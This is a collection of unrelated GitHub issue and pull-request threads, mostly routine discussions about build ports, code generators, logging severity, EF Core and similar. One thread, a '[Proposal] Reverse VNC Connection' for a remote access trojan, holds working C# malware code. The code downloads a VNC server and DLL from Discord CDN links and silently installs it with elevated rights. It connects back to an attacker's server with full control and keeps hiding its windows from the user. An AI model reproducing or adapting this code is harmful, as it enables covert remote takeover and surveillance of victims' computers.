I added the feature in ports/libmupdf/vcpkg.json and updated the ports/libmupdf/CMakeLists.txt file. Changing OCR_FEATURE_IS_ENABLED from 0 to 1 does work on my machine but I can't figure out how to "link" this variable with the [ocr] feature flag (is there a is_feature_enabled() function or similar?).

[x] Changes comply with the maintainer guide
[x] SHA512s are updated for each updated download
[ ] The "supports" clause reflects platforms that may be fixed by this new version
[ ] Any fixed CI baseline entries are removed from that file.
[x] Any patches that are no longer applied are deleted from the port's directory.
[ ] The version database is fixed by rerunning ./vcpkg x-add-version --all and committing the result.
[ ] Only one version is added to each modified port's versions file.

Changing OCR_FEATURE_IS_ENABLED from 0 to 1 does work on my machine but I can't figure out how to "link" this variable with the [ocr] feature flag (is there a is_feature_enabled() function or similar?).

This port is unusual, it has the usual portfile (CMake script mode) and it adds a CMake build system to the upstream sources (CMake project mode). Keep this in mind. Cf. https://learn.microsoft.com/en-us/vcpkg/contributing/maintainer-guide#portfiles-are-run-in-script-mode
In script mode, the features are available in variable FEATURES. So the portfile can react in various ways. In particular, it needs to feed settings into the build system. For CMake build systems, there is vcpkg_check_features to support the common case of setting "input variables".
So, to the CMakeLists.txt, you could add:
option(ENABLE_OCR "Build with OCR" ON)

In the portfile you could use the maintainer functions:
vcpkg_check_features(
    OUT_FEATURE_OPTIONS FEATURE_OPTIONS
    FEATURES
        ocr ENABLE_OCR
)
...
vcpkg_cmake_configure(
    ...
    OPTIONS
        ${FEATURE_OPTIONS}
)

Thanks a lot @dg0yt!

All features are tested successfully in the following triplet:

x86-windows
x64-windows
x64-windows-stataic

@vicroms I was told to delete the port-version field the last time :( I tried to re-add it at version 2 but I think that broke the CI, could you help me with that?

I was told to delete the port-version field the last time :( I tried to re-add it at version 2 but I think that broke the CI, could you help me with that?

port-version is relative to version[-...]. If you bump the version, the port version is reset. If the version is unchanged, the port-version must be incremented by one.

port-version is relative to version[-...]. If you bump the version, the port version is reset. If the version is unchanged, the port-version must be incremented by one.

I see, this makes sense now. Thank you!


Try to explicitly force Conda includes

This approach didn't really help.
Meanwhile I removed stale quicklogic-* packages (upstream is used now) and fixed prjxray-tools and verible builds.
Windows seems to fail on git clone - might be temporary.
Nextpnr failes on using the host python instead of the one from conda.


186280538 labook snapshot dialog

Adds the create/replace dialog for snapshots similar to upload image

@eireland I'm going to merge this as I need to make some QA fixes to my image dialog story.


 ["min", "$1 - 1"] generate unexpected min("x - 1")

For example, I want to implement lessThan(<) and lessThanEqual(<=) for string length.
There is no lessThanEqual function for string in zod, I think that it is necessary to use the min and max functions to implement this.

https://zod.dev/?id=strings

However, graphql-codegen-typescript-validation-schema can not support operation like $1 - 1.
Reproduce Example

Repo: https://github.com/azu/graphql-codegen-typescript-validation-schema-plus-minus/tree/main

Config:
            config: {
                schema: "zod",
                strictScalars: true,
                scalars: {
                    ID: "string"
                },
                directives: {
                    constraint: {
                        min: ["min", "$1 - 1"],
                        max: ["max", "$1 + 1"]
                    }
                },
            },

Schema:
input ExampleInput {
  email: String!
  message: String! @constraint(min: 1, max: 1000)
}

Actual Output
export function ExampleInputSchema(): z.ZodObject<Properties<ExampleInput>> {
  return z.object({
    email: z.string(),
    message: z.string().min("1 - 1").max("1000 + 1")
  })
}

Expected Output:
export function ExampleInputSchema(): z.ZodObject<Properties<ExampleInput>> {
  return z.object({
    email: z.string(),
-    message: z.string().min("1 - 1").max("1000 + 1")
+    message: z.string().min(1 - 1).max(1000 + 1)
  })
}

Unexpected quote is inserted.
Context
In the comment, it seems that ["min", "$1 - 1"] is supported, so I don't know if this is a bug or a function that does not support.
https://github.com/Code-Hex/graphql-codegen-typescript-validation-schema/blob/ba0a27de2550ae478667874b9439d977d2292960/src/config.ts#L247C20-L248
If this syntax is not supported, we can just close this issue.

@azu Thanks for your report!
I fixed this issue in v0.13.0!

@Code-Hex Thanks!

https://github.com/azu/graphql-codegen-typescript-validation-schema-plus-minus/commit/17cb37db8e18bbad108d8bd68f905cb5ac2899e1
I confirmed that it has been fixed.


Add systrace support on Apple platforms

This add supports for SYSTRACE macros on Apple platforms. Systrace intervals are recorded as signposts and can be viewed in Instruments.

@poweifeng I considered that, but I think performance is a concern here so I'm not sure if we want to introduce virtual calls. I'm sure Mathias will have some thoughts.

@poweifeng I considered that, but I think performance is a concern here so I'm not sure if we want to introduce virtual calls. I'm sure Mathias will have some thoughts.

Yes, we want these to be usable in release builds.


[BUG] AddAzureMonitorLogExporter is not available with latest Azure.Monitor.OpenTelemetry.Exporter version 1.0.0-beta.3

Library name and version
Azure.Monitor.OpenTelemetry.Exporter 1.0.0-beta.3
Describe the bug
Get the same extension method AddAzureMonitorLogExporter() resolving issue as reported in #22077, I've imported the latest NuGet package Azure.Monitor.OpenTelemetry.Exporter version 1.0.0-beta.3, however it reports the same as it's internal class:

Expected behavior
Should resolve the method without error
Actual behavior
Can not resolve the method
Reproduction Steps
Sample code
builder.Logging.AddOpenTelemetry(loggerOptions =>
{
    loggerOptions.AddAzureMonitorLogExporter();
});

loggerOptions.AddAzureMonitorLogExporter() can not be resolved successfully.
Environment
Windows 10 .net 6.0
Visual Studio 17.3.4

Link to #22077

Beta4 was just released. It generally takes nuget an hour to make a new package available.
https://www.nuget.org/packages/Azure.Monitor.OpenTelemetry.Exporter/1.0.0-beta.4


add zzguang as one of owners of yurt-app-manager

Signed-off-by: zzguang<EMAIL_ADDRESS>
What type of PR is this?

Uncomment only one  /kind <> line, hit enter to put that in a new line, and remove leading whitespace from that line:
/kind bug
/kind documentation
/kind enhancement
/kind good-first-issue
/kind feature
/kind question
/kind design
/sig ai
/sig iot
/sig network
/sig storage
/sig storage

What this PR does / why we need it:
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:

Does this PR introduce a user-facing change?

other Note

/assign @kadisi

/approve
/lgtm

/lgtm
/approve


Oracle (oci) protect_identifiers behavior misses table and column identifiers in functions

@narfbg I ran across an issue that might be a bug. Seems related to #3757 a little. At least that's what pointed me here.
Working on going using the case-sensitive methods provided, all as going well until ran into the situation when I needed to use a function on a column during comparison. Here's the lines of interest:
$this->db->from('SCHEMA.USR_LIST_MV l');
$this->db->join('SCHEMA.USR_DETAILS_MV d','d.USR_EMP_NO = l.USR_EMP_NO');
$this->db->where('lower(l.USR_EMP_ID)', $id);

This produces the following bits (abstracted):
FROM "SCHEMA"."MDT_USR_LIST_MV"  "l"
JOIN "SCHEMA"."USR_DETAILS_MV " "d" ON "d"."USR_EMP_NO" = "l"."USR_EMP_NO"
WHERE LOWER (l.USR_EMP_ID) = 'lance'

Note that we don't get the identifiers protection inside the function call. It results in "l.USR_EMP_NO invalid identifier"

Yes, but unfortunately we can't deal with that.
The QB code is more than complicated in its current state, and you'd probably get a headache if you go though it. I guarantee you that even if you do find a way to fix this one issue in particular, it will break something else.
P.S. Please don't start issues by addressing me personally. I happen to be the person who deals with everything by default, but this is a community-maintained project. And I get notifications for literally everything anyway, whether I'm mentioned or not.

Thanks Narf. I suppose I could manually call for protect_identifiers before I pass it through the lower() if desired.


Is there a security problem with pinpoint login without user and password?Are there any good suggestions?

Hello, because there is no login page for pinpoint monitoring, is there any security in this way?Are there any good suggestions?

duplicated issue #4085


borderRadius doesn't work for ViewOverflow component

I tried to create an Image inside View with borderRadius: 20 (below) but got without

check this https://github.com/entria/react-native-view-overflow/issues/10


Expose a public isHasExpressionInitializer type guard

Exposes isHasExpressionInitializer a public function so users of
TypeScript compiler APIs do not have to roll their own
HasExpressionInitializer type guards.
Closes #33115.

Does the TypeScript project have automated code formatter or formatting configuration other than the wiki coding guidelines?

(this is not this PR's fault but) the isHasExpressionInitializer name is highly confusing. What is a "Has expression"? 🙃

(this is not this PR's fault but) the isHasExpressionInitializer name is highly confusing. What is a "Has expression"? 🙃

I agree, the name is rather confusing especially if the HasExpressionInitializer type is not already known about. I've exposed hasOnlyExpressionInitializer instead, which should make more sense.

I don’t think we want to add new api/utility function that we ourselves are not using ..,

Fixed by exposing hasOnlyExpressionInitializer publicly and modifying it to be a true type-safe guard (checking node types rather than the existence of a initializer field). Please let me know if this is an unsuitable solution.


Feature Request: Separate ./unidock and ./unidock_tools as 2 repo

./unidock and ./unidock_tools are 2 different programs that have different functions and different licenses. Is it a better idea to separate ./unidock and ./unidock_tools as 2 repo?

Thank you for your suggestion.
We understand that they are different programs with different functions and licenses. However, at the moment, Uni-Dock Tools is required to fully utilize the features available in Uni-Dock, such as using SDF and PDB formats for ligands and receptors.
Additionally, we plan to showcase a series of Uni-Dock usage methods under the Uni-Dock Tools repo, making it more accessible for users to see and learn from. Therefore, we have decided to keep the two programs in one repo for the time being.
We DO have plans for building a more user-friendly interface for Uni-Dock in the future. And when the time is appropriate, we will consider splitting the repos as you suggested.
We appreciate your understanding and contribution to the project!


Invalid properties in OpenAPI make kiota fail

I get a failure when generating using the following command :
kiota generate -l typescript -o nytmoviereviews -d https://raw.githubusercontent.com/nytimes/public_api_specs/master/movie_reviews/movie_reviews_v2.json -c NytMovieClient -n Nyt
fail: Kiota.Builder.KiotaBuilder[0]
      OpenApi Parsing error: logo is not a valid property at #/info
warn: Kiota.Builder.KiotaBuilder[0]
      Ignoring duplicate parameter offset
warn: Kiota.Builder.KiotaBuilder[0]
      Ignoring duplicate parameter order

@sebastienlevert can you try again, also with another language. If this is still there, it might not be typescript specific. If it's still an issue non typescript specific, please transfer to kiota


URL is not a constructor

Hiya!
(Vue/NuxtJS)
I'm able to get an output by console logging the response, but it comes with this error:

I'm currently using the amazon-sp-api through a js file that's imported to the Vue instance through Nuxt plugins.
I'm not sure if it's because of that way im using it, and maybe Vue is doing something to it, or if i've made a silly mistake in where i put it (but i've already had some issues like with the env vars not being available before the plugin is run).

Hi @sammypanda,
there seems to be a problem with the require('url') syntax in the request.js file. Maybe this stackoverflow entry might help.

Thank you @amz-tools :sparkles: I did this one (removing the require statement) as it's the advice that aligned best with my node version

but it ended up giving me CORS/Bad URI

@sammypanda This is probably an issue with how you are using the package (importing it to Vue via Nuxtjs). I'm not too familiar with Vue and Nuxtjs but I would guess you will have to customize quite some things within the package to make it work properly for your use case.
Maybe someone else is around who has already tried something similiar and can help out...

Thank you (^^)

@sammypanda, did you happen to get it working in your setup?


✨ More self-references in core-chart.md

Summary
This PR catches more self-references in core-chart.md.
Related issue(s)
Fixes #

/cc @francostellari
/cc @pdettori
@clubanderson
@ezrasilvera

/lgtm

/approve


Logging Severity incorrect - Acme Client Letsencrypt renew.

[X] I have read the contributing guide lines at https://github.com/opnsense/core/blob/master/CONTRIBUTING.md
[X] I am convinced that my issue is new after having checked both open and closed issues at https://github.com/opnsense/core/issues?q=is%3Aissue

Describe the bug
When a (Letsencrypt) certficate is renewed (successfully) by the ACME client the following is logged in System/Logfiles/General as such:
/usr/local/opnsense/scripts/OPNsense/AcmeClient/lecert.php: AcmeClient: The shell command returned exit code '0': '/usr/local/sbin/acme.sh --renew --syslog 7 --debug 3 --server 'letsencrypt' --dns 'dns_cf' ...
However even though the return code was 0 and the certificate was renewed successfully the Severity of the event is marked as Error.
An event is logged immediately after with a severity of Notice and the text:
AcmeClient: successfully issued/renewed certificate
To Reproduce
Steps to reproduce the behavior:
Issue or renew an existing certificate
Go to System/Logfiles/General and the action will be logged as an error even when a successful renew occurred.
Expected behavior
I would have expected the Severity of this event to be Notice rather than Error.
Software &  hardware:
OPNsense 24.1.6 (amd64).
Intel(R) Core(TM) i3-10110U CPU @ 2.10GHz (2 cores, 4 threads)
Protectli VP4630.

Thanks for reporting this issue. I've made adjustments to log severity, which will be available in the upcoming os-acme-client 4.5.


[Proposal] Reverse VNC Connection

So after looking through many different rats I found warzone. It has a VNC module that actually works!
So I looked into adapting this into c# and after working on it for about 1 hour I got it to show no menus at all when connecting to the servers vnc viewer. Hopefully this will be used as its really cool and I spent quite a bit of time putting this into my own rat.
Reverse VNC Module
It works by downloading vncserver.exe along with its required .dll files. After doing so it runs a batch file that is made which then runs multiple commands. The reason I did this is because batch was much faster for me to debug then c#. You could easily redo my code to make it work within C# by just using ProcessStartInfo to give what the working directory is for a command. After running the batch file it connects the vnc server to the server specified and runs in the background. Soon I'll be making a way that the process is fully hidden from task manager. Please be understanding that I made this pretty quick and did some simple debugging, but for the most part this should work 100%. Main thing is to make sure that the client.exe has admin privileges. I'll be uploading more and hope that you will add some of my future proposals along with these two! I would also love if you could you add me on my discord, Henry Skith#6148 , thank you!
CODE STARTS HERE
        public void VNC(string server)
        {
                new Thread(async () =>
                {
                    try
                    {
                        if (File.Exists(@"C:\ProgramData" + @"\tvnserver.exe")&&File.Exists(@"C:\ProgramData" + @"\screenhooks64.dll"))
                        {

                        }
                        else
                        {
                            FileService.GetFile("https://cdn.discordapp.com/attachments/705829828703682681/711300008338784287/tvnserver.exe", "tvnserver.exe");
                            FileService.GetFile("https://cdn.discordapp.com/attachments/705829828703682681/711300010192535555/screenhooks64.dll", "screenhooks64.dll");
                        }
                        {
                            new Thread(async () =>
                            {
                                try
                                {
                                    {
                                        {
                                            Thread t1 = new Thread(async () =>
                                            {
                                                while (1 == 1)
                                                {
                                                    try
                                                    {
                                                        spoof.Hide("tvnserver");
                                                        spoof.Hide("cmd");
                                                    }
                                                    catch (Exception e)
                                                    {

                                                    }
                                                    Thread.Sleep(1);
                                                }
                                            });
                                            t1.Start();
                                        }
                                        File.WriteAllText
                                        (@"C:\ProgramData" + @"\ron.bat",
                                            @"
cd C:\Users\Henry\Desktop\Client
tvnserver.exe -stop
");
                                        ProcessStartInfo startInfo1 = new ProcessStartInfo(@"C:\ProgramData" + @"\ron.bat");
                                        startInfo1.Verb = "runas";
                                        startInfo1.CreateNoWindow = true;
                                        Process.Start(startInfo1);
                                    }
                                    {

                                    File.WriteAllText
                                    (@"C:\ProgramData" + @"\123.bat",
                                        @"
cd C:\Users\Henry\Desktop\Client
tvnserver.exe -remove -silent
taskkill /IM tvnserver.exe /F
tvnserver.exe -install -silent
taskkill /IM tvnserver.exe /F
tvnserver.exe -start
tvnserver.exe -controlservice -connect "+ server +"\n"+@"
tvnserver.exe -controlservice -sharefull
                                    ");
                                    ProcessStartInfo startInfo = new ProcessStartInfo(@"C:\ProgramData" + @"\123.bat");
                                    startInfo.Verb = "runas";
                                    startInfo.CreateNoWindow = true;
                                    Process.Start(startInfo);
                                    }//runs ron
                                }
                                catch(Exception e)
                                {

                                }
                            }).Start();
                        }
                    }
                    catch
                    {

                    }
                }).Start();
            }
        }

Heres a simple way to hide tasks from showing to the users eyes(like on their screen)
        public static void Hide(string processName)
        {
            try
            {
            int hWnd;
            Process[] processRunning = Process.GetProcesses();
            foreach (Process pr in processRunning)
            {
                if (pr.ProcessName == processName)
                {
                    hWnd = pr.MainWindowHandle.ToInt32();
                    ShowWindow(hWnd, SW_HIDE);
                }
            }
            }
            catch(Exception)
            {

            }
        }

This is the way I get files from links.
        public static void GetFile(string link, string file)
        {
            try
            {
                string filename = System.IO.Path.Combine(@"C:\ProgramData\", file);
                if (File.Exists(filename))
                {
                    File.Delete(filename);
                }
                Uri uri = new Uri(link);
                WebClient wc = new WebClient();
                wc.DownloadFileAsync(uri, filename);
            }
            catch (Exception)
            {

            }
        }

With all of this you should be able to test it and get a successful run.

Oh and nearly forgot to provide the VNC server setup I used!


Fix repo creation for Storage-only deploys

check_repo_tag takes 5 arguments, but the check_repo_tag key
invocation for SUSE-OpenStack-Cloud-SLE11-6-Updates doesn't use the
fourth argument, so $REQUIRE_CLOUD was in the wrong place, which causes
problems for SES only deploys.
Signed-off-by: Tim Serong<EMAIL_ADDRESS>

OK, this ought to be about right. See also https://github.com/crowbar/barclamp-provisioner/pull/441


Feature 532 disable plot wrappers

See https://github.com/NCAR/METplus/issues/532

I reviewed the changes.  Everything seems clear and well documented.  I see that the checks passed.  I really like these changes to the code and this it will improve the overall system in a great way.  Thank you for all of your thought and work on this.


Resolving issues with merge and release pipeline failure

Please make sure the code is following contribution guidelines in CONTRIBUTING.md

[ ] : This PR has a corresponding issue open in the Repository.
[ ] : Approach is signed off on the issue.

@narula0781 , this issue arise because of a breaking change in CLI master code.
https://github.com/Azure/azure-cli/commit/76742362fc9c44ca968859f748ec3bb594d75271
this commit
I think we should be targeting a released version of CLI for which we are compliant, else these issues will come every time there is a breaking change. Thoughts?

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: smunj sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.

@ashishonce , @smunj - Lets discuss it once .

@narula0781, @smunj, @ashishonce - What is happening with this PR? I'm waiting for resolution prior to closing this related github issue: https://github.com/MicrosoftDocs/azure-devops-docs/issues/8235.  Thanks.

@narula0781, @smunj, @ashishonce - Can I get a response? What is happening with this PR? I'm waiting for resolution prior to closing this related github issue: MicrosoftDocs/azure-devops-docs#8235. Thanks.

Hi @KathrynEE , sorry missed this thread. This PR is no more valid as Azure CLI team fixed the breaking issue and now things are working fine.
we can close this PR


Incorrect import causes MagTag to freeze

Hi, not sure if this is a CircuitPython bug or a library bug, but on my MagTag running CircuitPython 6.1.0beta2 the following line causes the MagTag to stop responding when I have it plugged into the computer.
The issue happens both in the REPL and in code.py.  If I connect via minicom, then Ctrl+C to enter the REPL, then type:
from adafruit_magtag.magtag import Graphics
minicom stops responding, and shortly after the CIRCUITPY drive stops responding also. On one or two occasions I noticed that if I wait long enough (longer than half hour) minicom might start responding again, though, freezes instantly once I try to import it.    That could only be a coincidence, however, as it usually just freezes and rarely returns unless I turn off the MagTag and turn it on again.
I am using the latest library on circuitpython from today.

Please try using
from adafruit_magtag.graphics import Graphics

I changed the title because it should give an error message rather than freeze.

Thanks Melissa,
Okay, that worked, but now it just freezes on the next line which I changed from
from adafruit_magtag.magtag import Network
to
from adafruit_magtag.network import Network
Is this the wrong way to import Network?

I just tried the latest circuitpython build from today and neither of these freeze my magtag:
from adafruit_magtag.network import Network
nor
import wifi
not even the incorrect form
from adafruit_magtag.magtag import Graphics
freezes my MagTag.  Though, no error message is produced in the last one. Should it have stilled produced an error message?

I realize it didn't produce an error message because Graphics is imported inside of the magtag class, so it was successfully just re-imported from there, which means it would have likely worked. I tested this with using the import it to successfully change the background.
It sounds like the issue is resolved, so I'm going to close this. If that's not the case, feel free to re-open.


[question]how can i use one server to listen muti ports?

like emqx，i neet to listen 4 ports use one server（tcp ：1883，tls：8883，ws：8083，wss：8084）
I have checked the README but all examples are use one port
how can i do？
thanks

You can do something like this
const broker = aedes();
const mqtt = aedesFactory.createServer(broker);
const mqttWs = aedesFactory.createServer(broker, { ws: true });


Add helper method gitBranch

Nice, thanks!
I wonder why the PR didn't trigger a build in travis. Any ideas?

@zsoltk puh no idea ...

Please amend / rebase the commit unchanged and push again, in hopes that it will trigger it this time. If it doesn't, please execute scripts/run-tests.sh and tell me it's all green.

@zsoltk done. Plus it seems like Travis is now running

Thanks! I'll release 1.2.5 to include this PR soon.

@zsoltk nice and thanks!

Problem is, gitBranch() returns an empty string. The command to run is ok, when I paste it in a console it returns what it should, but somehow inside gradle it won't. It even displays as an empty string in the integration test (which sheds light to another problem: the integration test matchers will let an empty string pass through).
Could you look into it please?

Yup. I'm getting an error though when I try to open the project in Android Studio. (The changes for this PR, I did with sublime).

Error:(1, 0) Cause: startup failed:
build file '/Users/nik/tmp/paperwork/paperwork-integration/build.gradle': 1: unable to resolve class hu.supercluster.paperwork.plugin.PaperworkPlugin
@ line 1, column 1.
import hu.supercluster.paperwork.plugin.PaperworkPlugin
^

Yep. I've observed this with the new Android Studio 2.0 beta as well. Run ./gradlew in the console manually, it will solve it. (AS runs gradle on its own and skips that script - and remember, there's the PaperworkPlugin copy-over functionality embedded in that)

Hmm okay I found the error.
cp paperwork-plugin/src/main/groovy/* buildSrc/src/main/groovy/ -r is not a valid syntax.
Output

usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file target_file
cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file ... target_directory

-r has to be in the beginning:
cp -r paperwork-plugin/src/main/groovy/* buildSrc/src/main/groovy/

Merged #40.

@zsoltk I found a way to make gitBranch work and also improved a few tests a bit -> #41


readme(modal): fix classname typo

:tada: This PR is included in version 4.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


openmodelica: qtWebKit is currently marked as insecure

Describe the bug
Whilst trying to install openmodelica.omedit this error is displayed:
error: Package ‘qtwebkit-5.212.0-alpha4’ in /nix/store/hw0mp7awqma06m6s2h9yckyccxb63nqx-source/pkgs/development/libraries/qt-5/qtModule.nix:89 is marked as insecure, refusing to evaluate.

Known issues:
        QtWebkit upstream is unmaintained and receives no security updates, see
        https://blogs.gnome.org/mcatanzaro/2022/11/04/stop-using-qtwebkit/

Additional context
I know I could set NIXPKGS_ALLOW_INSECURE, but maybe is not the right thing to do.
Notify maintainers
@balodja @smironov
Metadata
Please run nix-shell -p nix-info --run "nix-info -m" and paste the result.
[user@system:~]$ nix-shell -p nix-info --run "nix-info -m"
 - system: `"x86_64-linux"`
 - host os: `Linux 6.6.1-zen1, NixOS, 23.11 (Tapir), 23.11.20231114.bf744fe`
 - multi-user?: `no`
 - sandbox: `yes`
 - version: `nix-env (Nix) 2.18.1`
 - channels(root): `"nixos"`
 - nixpkgs: `not found`

You may do this more granularly with allowInsecurePredicate, but there's really not much else you can do.

Is a fix upstream unlikely?

@GiulioCocconi you should report upstream to "openmodelica.omedit"

Do you mean the OpenModelica github page or omedit package here on NixOS?

Do you mean the OpenModelica github page or omedit package here on NixOS?

qtwebkit-5 is insecure and not supported by qt
OpenModelica.medit ( version packaged in nixpkgs )  is using qtwebkit-5

there is not much nixpkgs can do, unless OpenModelica implements support for newer qtwebkit ( I am not even sure If it's a thing )
hopefully this makes sense, please feel free to follow up with questions, sometimes it's hard to provide all information in concise and well understood manner

See OpenModelica/OpenModelica#11524


fix(eth-client): Fix call error detection

What ❔
Fixes call error detection in ensure_l1_batch_commit_data_generation_mode().
Why ❔
Ethereum client is still broken fort the mainnet EN (where the L1 contracts are not updated yet).
Checklist

[x] PR title corresponds to the body of PR (we generate changelog entries from PRs).
[x] Tests for the changes have been added / updated.
[x] Code has been formatted via zk fmt and zk lint.
[ ] Spellcheck has been run via zk spellcheck.
[ ] Linkcheck has been run via zk linkcheck.

JFYI, I have a PR almost ready that refactors the ensure_l1_batch_commit_data_generation_mode() as a managed task (similarly to how https://github.com/matter-labs/zksync-era/pull/1869 refactored chain ID checks). I don't think it'd be reasonable to fold this fix there.


Why my entity primary key shows to be modified after updating entity?

Describe what is not working as expected.
I have a class ApplicationUser that inherits from IdentityUser. I added the property LastLoggedIn which is OffsetDateTime  datatype and I modify it with every request to the API. Also, I am using Audit from entity framework plus to log user add/update/delete operations and this is how I came across this issue. every time I update the ApplicationUser entity's LastLoggedIn property I can see that the Id property has been modified as well, showing same old and new value. Why my primary key is being modified here?
No Exception message:

Steps to reproduce
Call UserManager FindByIdAsync, Modify a property and save changes
public class ApplicationUser : IdentityUser {
            [Required, StringLength(50)]
            [Display (Name = "First Name")]
            public string FirstName { get; set; }
            public OffsetDateTime? LastLoggedIn { get; set; }
}

// Method

public async Task UpdateUserLastActivityDateAsync (string userId, string timeZone) {
           var user = await userManager.FindByIdAsync(userId);
           user.LastLoggedIn = timeZone.GetInstantOffsetDateTime();
           await unitOfWork.CompleteAsync(); //  = context.SaveChangesAsync();
}

I tried the following but I get an exception,
    builder.Entity<ApplicationUser>()
            .Property(e => e.Id)
            .ValueGeneratedOnAddOrUpdate()
            .Metadata.BeforeSaveBehavior = PropertySaveBehavior.Ignore;

The property 'Id' cannot be configured as 'ValueGeneratedOnUpdate' or
'ValueGeneratedOnAddOrUpdate' because the key value cannot be changed
after the entity has been added to the store.

Further technical details
EF Core version: 2.1
Database Provider: (Microsoft.EntityFrameworkCore.SqlServer)
Operating system: macOS High Sierra
IDE: (VS.Code)

@embryologist There is not enough here for me to be able to reproduce what you are seeing. Can you please post a runnable project/solution or complete code listing that demonstrates the behavior so that we can investigate more?

EF Team Triage: Closing this issue as the requested additional details have not been provided and we have been unable to reproduce it.
BTW this is a canned response and may have info or details that do not directly apply to this particular issue. While we'd like to spend the time to uniquely address every incoming issue, we get a lot traffic on the EF projects and that is not practical. To ensure we maximize the time we have to work on fixing bugs, implementing new features, etc. we use canned responses for common triage decisions.


nugetized packages do not work properly with dev15.3

I made checkout of the latest master branch of the WinObjC and I follow Building From Source instructions. But I get errors when trying to build the solution.
Please take a look at the screenshot attached.

If I use develop branch I get lots of errors in powershell when performing this command:
 .\.tools\nuget.exe restore .\build\build.sln

I use latest Visual Studio 2017 (Community) version 15.3

Hi @jboich! Sorry about the issue. I ran into this locally as well and escalated as appropriate.
I'll keep this thread updated.
As a workaround, 15.2 should suffice to keep you building. I know that's not the best answer! 🙂

Hi @jboich,
@DHowett-MSFT seems to have actually run into a slightly different issue from yours, and I am having trouble reproing the issue myself. If you haven't already, could I ask you to try the following steps as a basic sanity check?
git clean -dfx .\init.cmd .\.tools\nuget.exe update -self .\.tools\nuget.exe locals all -clear .\.tools\nuget.exe restore .\build\build.sln

Ignore what I just said, just found something interesting.

@jboich It appears this was caused by an infra failure on our end. While we are resolving this, you should be able to work around the nuget restore issue by building tools\tools.sln before building build\build.sln.

Hi, all. Thanks a million for a feedback. I will try this on Monday, because I have limit access to the machine where I reproduce the issue.

@jboich could you share the build logs from the build step?  You should be able to safely ignore the build failures in the tools project.

@jboich I'm still working through the infra issue on our end. For tools.sln, you ought to be able to work around the build errors by nuget restoring and building from the command line instead of inside VS. Let me know if this doesn't work.

I am seeing new pre-release packages that meet the requirements in the screenshot WinObjC.Language >= 0.2.170610 so @jboich you might try building build.sln from develop again.

Hi, @bbowman. I was able to build build.sln from develop branch successfully.
Thanks a million to everyone for help!

This is now fixed, all projects build and work well with 15.4 (back compat with 15.3 isn't possible because of bugs in 15.3).


feat(quantic): new QuanticResultAction component created

SFINT-4476
Quantic Result Action Bar & Quantic Result Action components created!
Demo:
https://user-images.githubusercontent.com/86681870/201935990-ab89ee5a-f4d9-4239-ba8e-1056ab69d372.mov
Usage:
    <c-quantic-result-action-bar>
      <c-quantic-result-action toggle-mode selected={attachSelected} onclick={attach} icon-name="utility:attach" label-when-off="Attach to case" label-when-on="Detach from case"></c-quantic-result-action>
      <c-quantic-result-action onclick={send} icon-name="utility:email" label-when-hover="Send as email"></c-quantic-result-action>
      <c-quantic-result-action onclick={post} icon-name="utility:chat" label-when-hover="Post to feed"></c-quantic-result-action>
      <c-quantic-result-action onclick={preview} icon-name="utility:preview" label-when-hover="Quick view"></c-quantic-result-action>
      <c-quantic-result-action onclick={copy} icon-name="utility:copy" label-when-hover={copyLabel}></c-quantic-result-action>
    </c-quantic-result-action-bar>

Role of the Quantic Result Action Component:
Displays a result action button with multiple options, it supports the toggle mode which allows the button to behave like a toggle button, an example of this is the Attach to case button in the demo video linked.
Role of the Quantic Result Action Bar component:
Informs the Quantic Result Action components about their order so the proper CSS classes will be applied to each Result Action:

When a Quantic Result Action is in the first position, the left corners of the button are rounded.

When a Quantic Result Action is in the last position, the right corners of the button are rounded.

When a Quantic Result Action is in a middle position, all the corners of the button are sharp.

Could you possibly add it to the exampleInsightPanel so we can see how it's intended to be fully integrated into an interface?

Could you possibly add it to the exampleInsightPanel so we can see how it's intended to be fully integrated into an interface? With the visibility toggle on hover and the click handler setup.

sure yeah, I'll add that!

I appreciate the effort you put in to write some jest tests but, as you know, we usually don't do that for quantic components so could you explain why you think we should do it here?

Well, the main reason  is because unit tests felt more adequate to test the QuanticResultAction component since its building block that will be used to build other components like the QuanticCopyToClipboard for instance.
I thought about creating unit tests for the QuanticResultAction component and then add FTs when we create the QuanticCopyToClipboard component. This way we would really have a functionality to test in the FTs.
Same thing applies for the QuanticResultActionBar, unit tests for now and when we will have more than one result action we can setup new FTs to test this component as well. For example we can setup a test with the QuanticResultActionBar containing both the QuanticClipboard and the QuanticResultAction.
That's my thoughts about that, this way we would have Unit tests + FTs pretty much to cover these new components.
What do you think?

Also, are we planning to add the jest tests as part of the build process? Are they already included somewhere or are these the first Jest tests in Quantic?

Also, are we planning to add the jest tests as part of the build process? Are they already included somewhere or are these the first Jest tests in Quantic?

we already have a few jest tests for the QuanticHeadlessLoader that run on PRs so the new ones run too. See here

Also, are we planning to add the jest tests as part of the build process? Are they already included somewhere or are these the first Jest tests in Quantic?

we already have a few jest tests for the QuanticHeadlessLoader that run on PRs so the new ones run too. See here

Perfect, I had asked without checking :)


MAINT: add OTelTraceRawProcessor from trace ingestion migration branch

Signed-off-by: Qi Chen<EMAIL_ADDRESS>Description
This PR adds in otel-trace-raw-processor which is otel-trace-raw-prepper in https://github.com/opensearch-project/data-prepper/tree/maint/546-migrate-trace-analytics-to-event-model.
Beside renaming plugins, some cleanups are essential:

README: prepper -> processor
package in new modules: prepper -> processor

Issues Resolved
Contributes to #1158
Check List

[ ] New functionality includes testing.
[ ] New functionality has been documented.

[ ] New functionality has javadoc added

[ ] Commits are signed with a real name per the DCO

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Codecov Report

Merging #1223 (7083cd7) into main (c684f7c) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##               main    #1223   +/-   ##
=========================================
  Coverage     93.79%   93.79%
  Complexity     1104     1104
=========================================
  Files           153      153
  Lines          3064     3064
  Branches        257      257
=========================================
  Hits           2874     2874
  Misses          138      138
  Partials         52       52

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c684f7c...7083cd7. Read the comment docs.


Update for Python 3.6 and new releases

Codecov Report

Merging #144 into master will increase coverage by -0.03%.

